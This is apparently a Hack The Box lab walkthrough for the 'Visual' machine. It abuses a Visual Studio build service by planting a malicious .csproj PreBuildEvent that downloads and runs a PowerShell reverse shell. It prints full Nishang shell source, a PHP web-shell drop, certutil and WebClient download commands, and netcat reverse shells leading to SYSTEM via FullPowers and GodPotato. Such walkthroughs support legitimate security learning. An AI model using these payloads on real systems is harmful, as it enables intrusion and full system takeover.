Visual HTB

IP

10.10.11.234

Initial Nmap scan

sudo nmap -p- --min-rate 10000 10.10.11.234 | cut -d"/" -f1 | tr '\n' ','

Looks like we have one port open on the machine

80

Lets get a bit more information on port 80

sudo nmap -sCV -p80 -oA nmap_scan 10.10.11.234

results

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.1.17)
|_http-title: Visual - Revolutionizing Visual Studio Builds
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17

we can see the following

  • we have a HTTP web server Apache 2.4.56 ((Win64))

  • Windows server, But what version?

Lets checkout the web server

initial thoughts

  • Looks like some kind of Visual Studio compilation service

  • supports .NET 6.0 and C# programs, make sure the a /sln file (maybe reverse-shell ?)

  • we submit out GitHub repo link, the service then compiles our .sln files, then sends back the exe or DLL files

Since this is still a web server Lets see if we can enumerate any directories

directories

feroxbuster -u http://10.10.11.234 -w /usr/share/seclists/SecLists-master/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -o dirs_http_dev.txt

results

200      GET        0l        0w        0c http://10.10.11.234/submit.php
200      GET        7l       36w      336c http://10.10.11.234/js/scripts.js
200      GET        8l       29w    28898c http://10.10.11.234/assets/favicon.ico
301      GET        9l       30w      339c http://10.10.11.234/uploads => http://10.10.11.234/uploads/
301      GET        9l       30w      338c http://10.10.11.234/assets => http://10.10.11.234/assets/
200      GET    11559l    23754w   250218c http://10.10.11.234/css/styles.css
200      GET      117l      555w     7534c http://10.10.11.234/
301      GET        9l       30w      335c http://10.10.11.234/css => http://10.10.11.234/css/
301      GET        9l       30w      334c http://10.10.11.234/js => http://10.10.11.234/js/
503      GET       11l       44w      402c http://10.10.11.234/examples
403      GET       11l       47w      421c http://10.10.11.234/licenses
403      GET       11l       47w      421c http://10.10.11.234/phpmyadmin
403      GET       11l       47w      421c http://10.10.11.234/webalizer
403      GET       11l       47w      421c http://10.10.11.234/server-status

from this we can see

  • we have PHP application running on the web server

Lets test the functionality of this compiling service, ill set up a netcat listener and point the URL submission to my local machine

  1. nc listener

nc -lvnp 80
  1. we can now submit "http://10.10.14.2/ting.git" through the web app

  1. Results

nc -lvnp 80  
listening on [any] 80 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.11.234] 49672
GET /ting.git/info/refs?service=git-upload-pack HTTP/1.1
Host: 10.10.14.2
User-Agent: git/2.41.0.windows.1
Accept: */*
Accept-Encoding: deflate, gzip, br, zstd
Pragma: no-cache
Git-Protocol: version=2

Looking at the git documentation

reveals the back end is essentially executing a git clone <submitted url>

Next, Lets set up a local git repo via docker using gitea

we can find the installation steps via below

Lets create a repo and perform further analysis of this function

  1. create a repo

Once you have created an account and logged in we can simply hit the plus icon next to "Repositories"

  1. Now we want to create a test file, name it whatever you want, leave all other options empty if you wish, click save, then we should see the following

  1. Now we want to clone a simple c# program and push it into our newly created repo , i chose the following

clone the repo to our local machine

git clone https://github.com/Toothless5143/Visual-HTB.git

Now we want to push our repo to gitea

cd Visual-HTB.git
git init
git remote set-url origin http://localhost:3000/shrek123/visual-HTB.git
git push

from here we can submit our repository URL to

After the build has completed we are presented with build artifacts

although these artifacts don't provide a direct vulnerability, we have what is called a build event, think of it like executing a predefined command before the build process starts, if we could manipulate the MSBuild's PreBuildEvent, we will have the ability to download and execute a Powershell reverse-shell on the target server

How do we do this?

  • we need to define a custom target or PreBuild that runs before the PreBuildEvent

we can craft a malicious visual.csproj file with a PreBuildevent event that will execute the following commands on the target

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net7.0</TargetFramework>
    <RootNamespace>Visual-HTB</RootNamespace>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <Target Name="PreBuild" BeforeTargets="PreBuildEvent">
    <Exec Command="powershell IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.2/rev.ps1')" />
  </Target>

</Project>

Lets Lets add this file to our visual-HTB repo

Now we can modify our PowerShell script, i've opted for a nishang powershell

function rev 
{ 
<#
.SYNOPSIS
Nishang script which can be used for Reverse or Bind interactive PowerShell from a target. 

.DESCRIPTION
This script is able to connect to a standard netcat listening on a port when using the -Reverse switch. 
Also, a standard netcat can connect to this script Bind to a specific port.

The script is derived from Powerfun written by Ben Turner & Dave Hardy

.PARAMETER IPAddress
The IP address to connect to when using the -Reverse switch.

.PARAMETER Port
The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens.

.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444

Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on 
the given IP and port. 

.EXAMPLE
PS > Invoke-PowerShellTcp -Bind -Port 4444

Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port. 

.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444

Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be
listening on the given IP and port. 

.LINK
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
https://github.com/nettitude/powershell/blob/master/powerfun.ps1
https://github.com/samratashok/nishang
#>      
    [CmdletBinding(DefaultParameterSetName="reverse")] Param(

        [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
        [String]
        $IPAddress,

        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
        [Int]
        $Port,

        [Parameter(ParameterSetName="reverse")]
        [Switch]
        $Reverse,

        [Parameter(ParameterSetName="bind")]
        [Switch]
        $Bind

    )

    
    try 
    {
        #Connect back if the reverse switch is used.
        if ($Reverse)
        {
            $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
        }

        #Bind to the provided port if Bind switch is used.
        if ($Bind)
        {
            $listener = [System.Net.Sockets.TcpListener]$Port
            $listener.start()    
            $client = $listener.AcceptTcpClient()
        } 

        $stream = $client.GetStream()
        [byte[]]$bytes = 0..65535|%{0}

        #Send back current username and computername
        $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
        $stream.Write($sendbytes,0,$sendbytes.Length)

        #Show an interactive PowerShell prompt
        $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
        $stream.Write($sendbytes,0,$sendbytes.Length)

        while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
        {
            $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
            $data = $EncodedText.GetString($bytes,0, $i)
            try
            {
                #Execute the command on the target.
                $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
            }
            catch
            {
                Write-Warning "Something went wrong with execution of command on the target." 
                Write-Error $_
            }
            $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '
            $x = ($error[0] | Out-String)
            $error.clear()
            $sendback2 = $sendback2 + $x

            #Return the results
            $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
            $stream.Write($sendbyte,0,$sendbyte.Length)
            $stream.Flush()  
        }
        $client.Close()
        if ($listener)
        {
            $listener.Stop()
        }
    }
    catch
    {
        Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port." 
        Write-Error $_
    }
}
rev -Reverse -IPAddress 10.10.14.2 -Port 9001

start a python server

python3 -m http.server 80

start our listner

rlwrap -cAr nc -lvnp 9001

we can know use the build function within the target and specify our repo

we know have a shell on the system

Given our current user is a web based service account, typically these kind of services possess the "impersonatePrivilege" Permission,

Lets check privileges

whoami /priv
  • we can see we dont have the impersonatePrivilege, But we can utilise a tool called "FullPowers"

we can download it to our local machine

wget https://github.com/itm4n/FullPowers/releases/download/v0.1/FullPowers.exe
cd C:\ProgramData
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/FullPowers.exe","C:\ProgramData\fp.exe")

Now we need to upgrade our shell lets download nc64.exe onto our local machine

(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/nc64.exe","C:\ProgramData\nc.exe")

start a listener on our local machine

nc -lvnp 9010

execute netcat on the target

cmd.exe /c .\nc.exe 10.10.14.2 9010 -c cmd.exe
  • this didn't work

Maybe we can get a PHP reverse-shell within the C:\xampp\htdocs\uploads directory so we can have some what persistence on the machine

for this we will use pentest monkeys updated php-reverse-shell

  • after we have added our ip and port, lets transfer it to the target

Invoke-Webrequest -Uri http://10.10.14.2/rev.php -OutFile C:\xampp\htdocs\uploads\rev.php
  • Lets start our nc listener

rlwrap -cAr nc -lvnp 9010

Now when we naviaget to http://10.10.11.234/uploads/rev.php in our browser this will trigger the php script

Alright we are ready to execute FullPower.exe

.\fp.exe

Now if we check our privileges we can see we know have SeImpersonatePrivilege enabled for our current user

Now we can perform some token manipulation and hopefully gain system authority

we can use God potatoe for this, and exploit the SeImpersonatePrivilege

Lets transfer godpotatoe to our target machine

certutil.exe -urlcache -f http://10.10.14.2/gp.exe gp.exe

Now we can run godpotatoe and execute commands as nt authority\system , lets establish a netcat reverse-shell

  1. start a listener on our local machine

rlwrap -cAr nc -lvnp 9002
  1. execute godpotato

.\gp.exe -cmd "C:\ProgramData\nc.exe -t -e C:\Windows\System32\cmd.exe 10.10.14.2 9002"

we are now nt authority/system

Last updated